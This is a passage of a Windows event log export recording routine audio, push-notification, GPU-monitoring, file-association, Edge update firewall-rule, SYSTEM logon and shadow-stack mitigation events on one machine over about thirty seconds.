09:06:59.717\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.717\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:02.970\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:02.971\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:02.971\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:02.989\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:08.724\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:08.732\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:08.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:09.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:09.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:10.287\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:10.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:10.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.519\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.696\t62443\tAppDefault Info: SetDefault: Association=.arw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.697\t62443\tAppDefault Info: SetDefault-Info: Association=.arw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=kCjQmAohRqY=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.698\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .arw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.742\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.765\t62443\tAppDefault Info: SetDefault: Association=.cr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.765\t62443\tAppDefault Info: SetDefault-Info: Association=.cr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=2LRzAJEadCU=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.767\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .cr2. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.772\t62443\tAppDefault Info: SetDefault: Association=.crw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.773\t62443\tAppDefault Info: SetDefault-Info: Association=.crw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=HJQgB02ygrk=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.774\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .crw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.843\t62443\tAppDefault Info: SetDefault: Association=.erf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.844\t62443\tAppDefault Info: SetDefault-Info: Association=.erf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=WgihQKSXr1o=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.845\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .erf. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.979\t62443\tAppDefault Info: SetDefault: Association=.kdc, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.979\t62443\tAppDefault Info: SetDefault-Info: Association=.kdc, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=5ydB7X/RwP0=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.981\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .kdc. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.044\t62443\tAppDefault Info: SetDefault: Association=.mrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.044\t62443\tAppDefault Info: SetDefault-Info: Association=.mrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=rwQ71rimZz0=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.045\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .mrw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.067\t62443\tAppDefault Info: SetDefault: Association=.nef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.068\t62443\tAppDefault Info: SetDefault-Info: Association=.nef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=/OWLRdhzScI=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.069\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .nef. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.074\t62443\tAppDefault Info: SetDefault: Association=.nrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.075\t62443\tAppDefault Info: SetDefault-Info: Association=.nrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=xf0wm/99VTY=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.076\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .nrw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.110\t62443\tAppDefault Info: SetDefault: Association=.orf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.111\t62443\tAppDefault Info: SetDefault-Info: Association=.orf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=s4wVpyO2sbI=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.112\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .orf. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.139\t62443\tAppDefault Info: SetDefault: Association=.pef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.140\t62443\tAppDefault Info: SetDefault-Info: Association=.pef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=Fwt4454OVUg=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.142\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .pef. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.144\t62443\tAppDefault Info: SetDefault: Association=.rw2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.144\t62443\tAppDefault Info: SetDefault-Info: Association=.rw2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=fT/lpga0FrA=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.145\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .rw2. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.147\t62443\tAppDefault Info: SetDefault: Association=.rwl, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.148\t62443\tAppDefault Info: SetDefault-Info: Association=.rwl, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=eALmzLcL2KQ=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.149\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .rwl. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.151\t62443\tAppDefault Info: SetDefault: Association=.sr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.151\t62443\tAppDefault Info: SetDefault-Info: Association=.sr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=JalBijRtIoY=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.152\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .sr2. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.179\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:12.182\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SystemSettings\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:12.204\t62443\tAppDefault Info: SetDefault: Association=.raf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.205\t62443\tAppDefault Info: SetDefault-Info: Association=.raf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=oEXJu51jr5A=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.206\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .raf. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:15.798\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:23.901\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-545\n\tGroup Name:\t\t\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x4898\n\tProcess Name:\t\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:26.950\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{3A17513B-146E-4698-9896-089E544D6F2D}\n\tRule Name:\tb728b6eb-c102-432c-bafa-2c6c87562485\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:26.978\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{3A17513B-146E-4698-9896-089E544D6F2D}\n\tRule Name:\tb728b6eb-c102-432c-bafa-2c6c87562485\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:26.985\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{59B3BC6C-DAC9-49D8-927C-2E9ACB17425E}\n\tRule Name:\tMicrosoft Edge (mDNS-\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0439)\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:26.988\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{59B3BC6C-DAC9-49D8-927C-2E9ACB17425E}\n\tRule Name:\tMicrosoft Edge (mDNS-\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0439)\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:27.400\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:27.409\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:27.838\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:28.282\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:28.884\t2000\t\"Process Name: C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:28.884\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:28.927\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:28.927\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:28.945\t603\tStarted deployment Stage operation on a package with main parameter EdgeGameAssist.msix and Options NormalPriorityRequest and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:28.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:28.947\t100\tClipSVC service is starting.  Caller: \tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:28.962\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:28.968\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:28.980\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf0767243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fd1200, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module 